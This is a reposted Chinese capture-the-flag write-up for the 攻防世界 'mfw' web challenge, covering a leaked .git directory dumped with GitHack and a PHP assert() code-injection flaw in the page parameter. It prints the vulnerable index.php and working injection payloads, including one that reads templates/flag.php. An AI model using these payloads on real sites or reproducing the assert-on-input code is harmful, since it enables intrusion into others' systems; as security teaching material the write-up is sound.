百木园-与人分享,
就是让自己快乐。

攻防世界Web_mfw

一、git源码泄露

【实验原理】

git源码泄露,命令执行

【实验目的】

了解git源码泄露的处理方法

 

二、题目:

 

 

  1.发现没啥突破点,打开页面源码查看一下。之前都是右键查看源码,现在又get一个知识点view-source:http://111.200.241.244:56504/也能查看源码。

 

 

    2.得到?page=flag的信息。尝试访问一下,发现没有反应。

   

 

  3.发现这条路不通,重新找线索,进入About页面,发现使用Git + PHP + Bootstrap架构。

  

 

 

   4.查看一下有没有Git源码泄露,先用disrearch扫描一下目录。发现存在Git源码泄露漏洞。

  

 

 

 

    5.使用 GitHack ( https://github.com/lijiejie/GitHack )工具,直接用git clone下载。

   

  用法都一样,不会就查看帮助文档。

  

  6.python2 GitHack.py http://111.200.241.244:56504/.git/ 已经下载好了,直接查看。

  

 

   7.发现存在templates/flag.php ,直接查看,发现没有内容。

   

 

  8.打开index.php查看一下源码,进行代码审计。

 

<?php

if (isset($_GET[\'page\'])) {
        $page = $_GET[\'page\'];
} else {
        $page = \"home\";
}

$file = \"templates/\" . $page . \".php\";

// I heard \'..\' is dangerous!
assert(\"strpos(\'$file\', \'..\') === false\") or die(\"Detected hacking attempt!\");

// TODO: Make this look nice
assert(\"file_exists(\'$file\')\") or die(\"That file doesn\'t exist!\");

?>

代码审计得:

GET传page参数没有做过滤,所以我们可以进行命令执行漏洞。  

assert() 检查一个断言是否为 false,assert()函数会将括号中的字符当成代码来执行,并返回true或false.
strpos() 函数查找字符串在另一字符串中第一次出现的位置。如果没有找到则返回False。
file_exists() 函数检查文件或目录是否存在。

利用assert特性
bool assert(mixed $assertion[,string $description]) 如果assertion是字符串,他会被assert()当做php代码执行。

思路是通过可控变量file传入恶意参数,构造闭合 file_exists(),使assert()执行恶意代码。

构造file语句,\')or phpinfo();#   此处是闭合file_exists()函数 效果如下:

assert(\"file_exists(\'\') or phpinfo();#\')\")   执行phpinfo()代码。

?page=\') or phpinfo();#   记得需要url编码。

结果如下:

 

既然能够进行命令执行,我们需要获得的内容是templates/flag.php 构造file语句:

\') or print_r(file_get_contents(\'templates/flag.php\'));#     

\')%20or%20print_r(file_get_contents(\'templates%2fflag.php\'))%3b%23    

url编码后输入view-source:http://111.200.241.244:57130/?page=%27)%20or%20print_r(file_get_contents(%27templates%2fflag.php%27))%3b%23

 

 

 =====================================================================================================

总结:

 

git源码泄露

 

当在一个空目录执行 git init 时,Git 会创建一个 .git 目录。 这个目录包含所有的 Git 存储和操作的对象。 如果想备份或复制一个版本库,只需把这个目录拷贝至另一处就可以了

 

比如某个网站存在.git文件泄露,可以:

http://www.baidu.com/.git

 

利用方式: github上的githack可以把整个.git备份的文件下载下来。它能解析 .git/index 文件,并找到工程中所有的:文件名和文件 sha1,然后去 .git/objects/ 文件夹下下载对应的文件,通过 zlib 解压文件,按原始的目录结构写入源代码

 

利用assert特性
bool assert(mixed $assertion[,string $description]) 如果assertion是字符串,他会被assert()当做php代码执行。

思路是通过可控变量file传入恶意参数,构造闭合 file_exists(),使assert()执行恶意代码。

 


来源:https://www.cnblogs.com/shacker/p/15946812.html
本站部分图文来源于网络,如有侵权请联系删除。

未经允许不得转载:百木园 » 攻防世界Web_mfw

相关推荐

  • 暂无文章